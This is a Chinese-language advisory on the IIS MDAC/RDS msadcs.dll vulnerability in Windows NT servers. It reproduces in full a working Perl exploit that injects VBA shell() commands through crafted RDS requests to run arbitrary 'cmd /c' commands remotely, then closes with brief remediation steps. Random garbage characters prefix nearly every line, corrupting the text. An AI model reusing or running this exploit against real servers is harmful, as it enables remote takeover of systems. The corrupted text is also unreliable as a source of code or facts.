IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
V'9.l6l "pkdZ 涉及程序：
^QN c!{ ` Microsoft NT server
h0<PQZJ ?/YAB Y}L 描述：
P<g(i 6] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Sf S3}Tn[ ;<Q%d~$xy} 详细：
v+LJx 如果你没有时间读详细内容的话，就删除:
L/"MR Q" c:\Program Files\Common Files\System\Msadc\msadcs.dll
C*mVM!D);! 有关的安全问题就没有了。
J P 4DV=}L xr'1CP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6x^$W ]R !<M
eWo 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
b`X''6 关于利用ODBC远程漏洞的描述，请参看:
6+$2rS$1V g-qXS]y7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Uxjc&o ujV{AF`JfB 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
FJeh=\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZA="Dac 529b . | 这里不再论述。
XO]^ +'U}p W'4/cO 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
l>\EkUT ^BF}wQb :j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
& ZD@-"@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8xB-cE u[)X="-e# m4m-JD |v #将下面这段保存为txt文件，然后: "perl -x 文件名"
58Ibje ?"@Fq2xgB4 #!perl
v*.R< - X: #
)= f}vHg$ # MSADC/RDS 'usage' (aka exploit) script
O? OAXPK2 #
jq
H)o2"/ # by rain.forest.puppy
hJM& rM7 #
L 62'Amml # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
IRbyW?/Xv # beta test and find errors!
GDLi ?3q Gj?Zbl < use Socket; use Getopt::Std;
= n,;S W getopts("e:vd:h:XR", \%args);
R%.`h U =J5lo print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(m3hD)!+y ]+:yfDtZd if (!defined $args{h} && !defined $args{R}) {
4.,EK w3 print qq~
:-{"9cgF R Usage: msadc.pl -h <host> { -d <delay> -X -v }
Lip#uuuXXN -h <host> = host you want to scan (ip or domain)
%gmx47 -d <seconds> = delay between calls, default 1 second
Bj 7* 2} -X = dump Index Server path table, if available
XH%pV -v = verbose
/[TOy2/;%b -e = external dictionary file for step 5
UIE vwQ c~U0&V_`j Or a -R will resume a command session
\kQ)fk]^ ]~;*9`: ~; exit;}
LtB5;ByeQ0 ?d%)R*3IX $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pwN2Nzski if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
l`\L@~l n if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
d.f0OhQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
= b%f@x_U1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
s:_hsmc" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!`_ f IBN g2 Y if (!defined $args{R}){ $ret = &has_msadc;
GXZ="3W | die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Qm[(( 6} 0#NMNZ
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
QD.5o S . "cmd /c ";
=OK#5r[UV $in=<STDIN>; chomp $in;
k5< n:dS $command="cmd /c " . $in ;
-o+t&m P' VHg a if (defined $args{R}) {&load; exit;}
)>M L7y &m-- } print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
l-w4E"n3 &try_btcustmr;
3}}/,pGSc eY 3:Nl ^ print "\nStep 2: Trying to make our own DSN...";
]L~z9) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}4>u_)nt vGyQ306 print "\nStep 3: Trying known DSNs...";
Q%O9DCi &known_dsn;
SL uQv?R}9 .Vt|;P} print "\nStep 4: Trying known .mdbs...";
K21Xx`XK &known_mdb;
1le9YL1_g ZTTA??}Y if (defined $args{e}){
q-t%spkl print "\nStep 5: Trying dictionary of DSN names...";
eSoX|2g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_j+,'\B *{?2M6Z print "Sorry Charley...maybe next time?\n";
'\{ OQ H exit;
HVv m3qu4 <uIPv
Zsx ##############################################################################
v
Z10R b8 Fe[6Y<x+: sub sendraw { # ripped and modded from whisker
sA6Hk B. sleep($delay); # it's a DoS on the server! At least on mine...
?e-rwa W my ($pstr)=@_;
No\#N/1@P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
( &m1* die("Socket problems\n");
5tv*uz|fv if(connect(S,pack "SnA4x8",2,80,$target)){
GYw/KT~$ select(S); $|=1;
u|23M, print $pstr; my @in=<S>;
8!v|`Ky select(STDOUT); close(S);
6No.2Oo return @in;
tgBA(2/Co } else { die("Can't connect...\n"); }}
n^QDMyC;I m@nGXl'! ##############################################################################
fyUW;dj qF3S\
C sub make_header { # make the HTTP request
:C;fEJN my $msadc=<<EOT
=x w:@(]{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;2h"YU- b User-Agent: ACTIVEDATA
cV:Q(|QC Host: $ip
+PYR Content-Length: $clen
p3fV w]N Connection: Keep-Alive
x75;-q 3=]/+{B ADCClientVersion:01.06
TPb&";4ROf Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
a?Om;-i2`S JK)|a@BtOT --!ADM!ROX!YOUR!WORLD!
W{IP}mM Content-Type: application/x-varg
[
2@Lc3< Content-Length: $reqlen
E2
' Al6^C Ew}G PJ EOT
6AD&%v ; $msadc=~s/\n/\r\n/g;
VFV 8ik) return $msadc;}
w 8o?wx* I-.? qcy~ ##############################################################################
VII`qbxT P9\y~W sub make_req { # make the RDS request
qjfv9sU my ($switch, $p1, $p2)=@_;
^ &KH|qRrO my $req=""; my $t1, $t2, $query, $dsn;
R7Tl 1!,h fo}@B &=4 if ($switch==1){ # this is the btcustmr.mdb query
7TAoWD3
$query="Select * from Customers where City=" . make_shell();
;2 o{ 6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
KI< x`b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f].z . PmId #2f elsif ($switch==2){ # this is general make table query
a[^dK- $query="create table AZZ (B int, C varchar(10))";
F`Vp $dsn="$p1";}
0wBr_b! ;Xidv9 c elsif ($switch==3){ # this is general exploit table query
d{!zJ+n $query="select * from AZZ where C=" . make_shell();
J!rZs kd $dsn="$p1";}
-'W:P'B G P)TeF1~T elsif ($switch==4){ # attempt to hork file info from index server
?fs#K ;w $query="select path from scope()";
#tPy0Q H $dsn="Provider=MSIDXS;";}
kH=~2rwm :\#]uDT2= elsif ($switch==5){ # bad query
VyU!r*
o $query="select";
r'}#usB( $dsn="$p1";}
\@2sI ,38bT#p:,r $t1= make_unicode($query);
<.7W:s,f= $t2= make_unicode($dsn);
f2|On6/ $req = "\x02\x00\x03\x00";
RAyR&p $req.= "\x08\x00" . pack ("S1", length($t1));
Y!E| X 3 $req.= "\x00\x00" . $t1 ;
1?+)T%" $req.= "\x08\x00" . pack ("S1", length($t2));
Z?",+|4 $req.= "\x00\x00" . $t2 ;
If9!S}
wa $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
B7ys`eiB5C return $req;}
s|!b: Ms` BJ/#V) ##############################################################################
Qzk/oH s ;+qPV7Z sub make_shell { # this makes the shell() statement
Iq":
U return "'|shell(\"$command\")|'";}
E{9{%J \t&6$"n(B6 ##############################################################################
Q;$/&Y* xcIZ'V sub make_unicode { # quick little function to convert to unicode
=TI|uD6T my ($in)=@_; my $out;
Z@i MG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
b OmM~pD return $out;}
;lWy?53=@ $j}sxxTT ##############################################################################
nBiA=+'v f4T-=` SO sub rdo_success { # checks for RDO return success (this is kludge)
a( {`<F my (@in) = @_; my $base=content_start(@in);
")M.p_b[Z= if($in[$base]=~/multipart\/mixed/){
l 0b=;^6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{78*S R return 0;}
I0jEhg%J Z `Tsfsc N ##############################################################################
ZCJ8 I |V~P6o(/ sub make_dsn { # this makes a DSN for us
<ct {D|mm my @drives=("c","d","e","f");
<db/. A3 print "\nMaking DSN: ";
1@qb.9wZ6 foreach $drive (@drives) {
%J%gXk}] print "$drive: ";
iii$)4 V my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0_y%Qj^e "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
01q7n`o#zf . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|]\bgh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{}^ELw return 0 if $2 eq "404"; # not found/doesn't exist
UZX)1?U if($2 eq "200") {
+`Bn]e8O foreach $line (@results) {
8"* $e
I5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>% 3c 1 } return 0;}
:3n.nKANr a@r K% Iff ##############################################################################
D3lYy>~d5; 80]TKf> sub verify_exists {
];2eIe
my ($page)=@_;
rqh,BkQ0t my @results=sendraw("GET $page HTTP/1.0\n\n");
QBn>@jq return $results[0];}
&{=~)>h 0j/81Y}p ##############################################################################
?RzT0HRd x)yf!Dv5$ sub try_btcustmr {
EIEq[`h my @drives=("c","d","e","f");
E;d 5$ my @dirs=("winnt","winnt35","winnt351","win","windows");
tx1jBh :e= z|?R=;,u` foreach $dir (@dirs) {
Po4 cb FZ print "$dir -> "; # fun status so you can see progress
| 8`;55G foreach $drive (@drives) {
TgB;R5 print "$drive: "; # ditto
PrKl whi# $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/#se>4] $reqlenlen=length( "$reqlen" );
/[IQ:' :^ $clen= 206 + $reqlenlen + $reqlen;
l{a&Zy) ?-84_i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
XP^ 6*}H.* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7~Ga>BK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
yl ;'Ru: ,"VQ 0Z1 ##############################################################################
q
| ^O 2M#CJ& sub odbc_error {
@YB\ PV hW my (@in)=@_; my $base;
l=]vC +mU my $base = content_start(@in);
XZ& v3ul if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Yr= mLT|JN $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S7q & |nI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"qm> z@K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mfN@tMp return $in[$base+4].$in[$base+5].$in[$base+6];}
(Sv%-8?gs print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-d3y!| \>a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C|J1x4sb@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9|WWA %p ` ; =Se_ ##############################################################################
#"{8Z& Z pi FQ7B sub verbose {
e,*[5xQ my ($in)=@_;
;2|H6IN" return if !$verbose;
/_a *C.a6 print STDOUT "\n$in\n";}
L-R}O
8 .Ks vRx ##############################################################################
FOA%( 5$ 4 Wu&Di8GhP sub save {
M<srJ8|' my ($p1, $p2, $p3, $p4)=@_;
w1_Ux<RF open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K)@}Ok"#\4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
WLl9>v^1 close OUT;}
j1kc&( `x VA]GR4c ##############################################################################
k9xKaJ %1 cj<@~[uw sub load {
gAY2|/, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
KxwLKaImI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
n_Y]iAoc` @p=<IN>; close(IN);
(Qm;]?/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
UG_0Y8$ $target= inet_aton($ip) || die("inet_aton problems");
lp U tNy print "Resuming to $ip ...";
P.B'Gh#^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]c2| m}I{: if($p[1]==1) {
OJ 5 !+#> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
mD) O\.uA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ix+x-G my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
i|^6s87"N2 if (rdo_success(@results)){print "Success!\n";}
Evm mQ else { print "failed\n"; verbose(odbc_error(@results));}}
1W[(+TZ&s elsif ($p[1]==3){
Q9>]@DrAx if(run_query("$p[3]")){
3@?YTez# print "Success!\n";} else { print "failed\n"; }}
~Wm}M elsif ($p[1]==4){
5,ahKB8 if(run_query($drvst . "$p[3]")){
l7!)#^`2_ print "Success!\n"; } else { print "failed\n"; }}
6{X>9hD exit;}
.A/H+.H; }2,#[m M ##############################################################################
6S[D"Q94 PWu2;JF sub create_table {
*KH@u my ($in)=@_;
eBIR *TZ): $reqlen=length( make_req(2,$in,"") ) - 28;
"J{zfWr $reqlenlen=length( "$reqlen" );
a4RFn\4? $clen= 206 + $reqlenlen + $reqlen;
b1]_e'jj my @results=sendraw(make_header() . make_req(2,$in,""));
n;` L5 return 1 if rdo_success(@results);
5z ^UQ q my $temp= odbc_error(@results); verbose($temp);
9 %14k return 1 if $temp=~/Table 'AZZ' already exists/;
~{G: ,|` return 0;}
c.Z4f 7 9 lJj/ ##############################################################################
\=_q{ ^(*O$N*# sub known_dsn {
)6
<byO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!cwVJe my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
W?
||9 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
a3O_#l-Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
u/'s d t _ng = 5 foreach $dSn (@dsns) {
C}'="g^=sl print ".";
Ef!p:HBJ next if (!is_access("DSN=$dSn"));
gdE `UZ\ if(create_table("DSN=$dSn")){
>1G*ya) print "$dSn successful\n";
p30&JJ!~" if(run_query("DSN=$dSn")){
/t)c fFM print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~"2@A
F print "Something's borked. Use verbose next time\n";}}} print "\n";}
~!9Px j*
r;X0 B ##############################################################################
p 3FnYz-V vcO`j<` sub is_access {
\N , ' + my ($in)=@_;
8V hck-wF $reqlen=length( make_req(5,$in,"") ) - 28;
X6GkJ
R $reqlenlen=length( "$reqlen" );
$uK"@Mw $clen= 206 + $reqlenlen + $reqlen;
*/y]!<\v!k my @results=sendraw(make_header() . make_req(5,$in,""));
f bTw6Fde$ my $temp= odbc_error(@results);
dHF$T3 3It verbose($temp); return 1 if ($temp=~/Microsoft Access/);
fR%1FXpK& return 0;}
qK
vr*xlC _J Txm >
##############################################################################
uo'31V0 S5u#g`I] sub run_query {
poYAiq_3T my ($in)=@_;
<Iyot]E $reqlen=length( make_req(3,$in,"") ) - 28;
DbU;jorwu $reqlenlen=length( "$reqlen" );
,]_(-tyN| $clen= 206 + $reqlenlen + $reqlen;
g+ 1=5g my @results=sendraw(make_header() . make_req(3,$in,""));
T)
tZU? return 1 if rdo_success(@results);
;GFB@I@
my $temp= odbc_error(@results); verbose($temp);
)(Mr f{ return 0;}
x>,F*3d3 ]'!xc9KGR ##############################################################################
i(yAmo9h FEZ"\|I| sub known_mdb {
5YI/Ec my @drives=("c","d","e","f","g");
F0'A/T'ht my @dirs=("winnt","winnt35","winnt351","win","windows");
9Jy2T/l my $dir, $drive, $mdb;
ViwpyC'v my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(S)E |;f%C A :bPIXb # this is sparse, because I don't know of many
.n&
Cq+U; my @sysmdbs=( "\\catroot\\icatalog.mdb",
A9l})_~i "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{_XrZ(y/ "\\system32\\certmdb.mdb",
o;4e)tK "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
~@uY?jr G k"L%Zt) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
v<3o[m q "\\cfusion\\cfapps\\forums\\forums_.mdb",
3 E!<p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"R2t&X[9 "\\cfusion\\cfapps\\security\\realm_.mdb",
DxKfWb5 R "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.d~] e2x "\\cfusion\\database\\cfexamples.mdb",
V l ~Y "\\cfusion\\database\\cfsnippets.mdb",
C7 ]DJn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d9-mWz(V+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
s w.AfRQP "\\cfusion\\brighttiger\\database\\cleam.mdb",
EhIV (q 9x "\\cfusion\\database\\smpolicy.mdb",
seuN,jpt "\\cfusion\\database\cypress.mdb",
]a6O(] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Ly)(_Tp@+ "\\website\\cgi-win\\dbsample.mdb",
A`
o?+2s_ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;j>Vt?:Pw "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:x""E5H ); #these are just
x #t u foreach $drive (@drives) {
1KYbL8 c foreach $dir (@dirs){
8S1P&+iKs foreach $mdb (@sysmdbs) {
oa &z/`@ print ".";
71l"m^Z3zy if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
MzR1<W{ O print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
wHOlj)CZ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
o\]: !#r{T print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`o_f UOe8a } else { print "Something's borked. Use verbose next time\n"; }}}}}
c/=y*2,zo Y0PGT5].@' foreach $drive (@drives) {
E +Ujpd foreach $mdb (@mdbs) {
OS"{"P print ".";
^s2m\Q( if(create_table($drv . $drive . $dir . $mdb)){
_[TH@fO6: print "\n" . $drive . $dir . $mdb . " successful\n";
' o/N}E!Pt if(run_query($drv . $drive . $dir . $mdb)){
P('t6MVl T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"s>fV9YyZ } else { print "Something's borked. Use verbose next time\n"; }}}}
2fzKdkJhe }
%R5Com fys5-1@-p ##############################################################################
%[Zqr;~l ^)OZ`u8 sub hork_idx {
,yk PQz O print "\nAttempting to dump Index Server tables...\n";
WO.0K5nfk print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
uS,p|}Q& $reqlen=length( make_req(4,"","") ) - 28;
rmPne8D=c( $reqlenlen=length( "$reqlen" );
=|E
09 $clen= 206 + $reqlenlen + $reqlen;
\m=-8KpU my @results=sendraw2(make_header() . make_req(4,"",""));
A \MfF if (rdo_success(@results)){
` /I bWu my $max=@results; my $c; my %d;
!f\ ?c7 for($c=19; $c<$max; $c++){
G pdv]SON{ $results[$c]=~s/\x00//g;
dNUR)X#e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
jcEs10y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
f`hy Yp`d5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
egI{!bZg'\ $d{"$1$2"}="";}
,pyQP^u- foreach $c (keys %d){ print "$c\n"; }
QGH
h; } else {print "Index server doesn't seem to be installed.\n"; }}
Jt2,LL:G / lLov . ##############################################################################
Vl{~@G, @ t{R5
E U sub dsn_dict {
+X:J]- 1) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
K,e q D< while(<IN>){
Qj
6gg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cc|CC
Zl next if (!is_access("DSN=$dSn"));
QFW0K D`5 if(create_table("DSN=$dSn")){
]{IR&{EI- print "$dSn successful\n";
lx{.H,1~ if(run_query("DSN=$dSn")){
/7k.r}6\R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.vv5 t print "Something's borked. Use verbose next time\n";}}}
`E 3:;| print "\n"; close(IN);}
2Vp>" X,RT<G NNb ##############################################################################
(TEo_BW|+
bKk CW sub sendraw2 { # ripped and modded from whisker
[1z{T(dh sleep($delay); # it's a DoS on the server! At least on mine...
brg":V1a my ($pstr)=@_;
j|VXC(6 P, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
" ;PG%_( die("Socket problems\n");
AH&9Nye8 if(connect(S,pack "SnA4x8",2,80,$target)){
>j50
;</ print "Connected. Getting data";
==]Z \jk open(OUT,">raw.out"); my @in;
wVgi+P select(S); $|=1; print $pstr;
bK3B3r#$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
O.*jR`l close(OUT); select(STDOUT); close(S); return @in;
[O^}rUqq } else { die("Can't connect...\n"); }}
;#3ekl{-g \s=Q iPK ##############################################################################
<fNGhmL r_Lu~y| sub content_start { # this will take in the server headers
luW
<V> my (@in)=@_; my $c;
h ZoC _\ for ($c=1;$c<500;$c++) {
g-."sniP$g if($in[$c] =~/^\x0d\x0a/){
p1Q/g Il if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
QT Va else { return $c+1; }}}
3PsxOb+ return -1;} # it should never get here actually
d,)}+G [ZuVUOm ##############################################################################
AK6=Ydu B ,V( LTE sub funky {
+.w[6 my (@in)=@_; my $error=odbc_error(@in);
@. " q if($error=~/ADO could not find the specified provider/){
gf+o1\5t@ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
F?7u~b|@{ exit;}
\WWG>OUh.U if($error=~/A Handler is required/){
z4 CJn[m9 print "\nServer has custom handler filters (they most likely are patched)\n";
BS N6|W exit;}
7g-Dfg.w if($error=~/specified Handler has denied Access/){
wi>DZkR print "\nServer has custom handler filters (they most likely are patched)\n";
SijtTY#r exit;}}
dIma {uv /x$}D=(CZ ##############################################################################
g{e/X~ +<&E3O r sub has_msadc {
nt7|f,_J my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;:P7}v fz! my $base=content_start(@results);
>GgE,h return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
bn $)f6% return 0;}
,ohmc \*J 9 +}cE**=d ########################
^Sw2xT$p{j \H^;'agA veV_be{i 解决方案：
oWI!u 5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}@wVW))6$ 2、移除web 目录: /msadc
